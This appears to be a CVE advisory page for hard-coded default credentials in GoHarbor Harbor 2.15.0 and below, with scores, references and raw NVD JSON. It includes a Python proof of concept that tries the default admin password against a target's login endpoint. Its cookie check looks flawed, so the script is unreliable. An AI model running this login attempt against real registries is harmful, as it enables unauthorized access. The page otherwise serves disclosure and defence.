CVE-2026-4404

Description

Use of hard coded credentials in GoHarbor Harbor version 2.15.0 and below, allows attackers to use the default password and gain access to the web UI.

CVSS Details

CVSS Score

9.4

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

GoHarbor Harbor <= 2.15.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "https://<target_harbor_ip>"
login_url = f"{target_host}/c/login"

# Default hardcoded credentials for Harbor < 2.15.0
data = {
    "principal": "admin",
    "password": "Harbor12345"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Accept": "application/json"
}

try:
    print(f"[*] Attempting to login to {target_host} using hardcoded credentials...")
    response = requests.post(login_url, data=data, headers=headers, verify=False, timeout=10)

    if response.status_code == 200:
        # Check if authorization cookie or token is present
        if " Harbor" in response.cookies.get_dict():
            print("[+] Exploit successful! Logged in as admin.")
            print("[+] Session Cookie:", response.cookies.get_dict())
        else:
            print("[-] Login failed. Credentials might have been changed.")
    else:
        print(f"[-] HTTP Error: {response.status_code}")

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4404
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4404
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4404/
[4] VulDB https://vuldb.com/cve/CVE-2026-4404
[5] https://cwe.mitre.org/data/definitions/1393.html
[6] https://github.com/goharbor/harbor/issues/1937
[7] https://github.com/goharbor/harbor/pull/22751
[8] https://goharbor.io/docs/1.10/install-config/run-installer-script/#:~:text=If%20you%20did%20not%20change%20them%20in%20harbor.yml,%20the%20default%20administrator%20username%20and%20password%20are%20admin%20and%20Harbor12345
[9] https://www.kb.cert.org/vuls/id/577436

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4404", "sourceIdentifier": "[email protected]", "published": "2026-03-23T15:16:35.403", "lastModified": "2026-03-24T16:16:36.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of hard coded credentials in GoHarbor Harbor version 2.15.0 and below, allows attackers to use the default password and gain access to the web UI."}, {"lang": "es", "value": "Uso de credenciales codificadas de forma rígida en GoHarbor Harbor versión 2.15.0 y anteriores, permite a los atacantes usar la contraseña predeterminada y obtener acceso a la interfaz de usuario web."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}, {"lang": "en", "value": "CWE-1393"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/1393.html", "source": "[email protected]"}, {"url": "https://github.com/goharbor/harbor/issues/1937", "source": "[email protected]"}, {"url": "https://github.com/goharbor/harbor/pull/22751", "source": "[email protected]"}, {"url": "https://goharbor.io/docs/1.10/install-config/run-installer-script/#:~:text=If%20you%20did%20not%20change%20them%20in%20harbor.yml,%20the%20default%20administrator%20username%20and%20password%20are%20admin%20and%20Harbor12345", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/577436", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}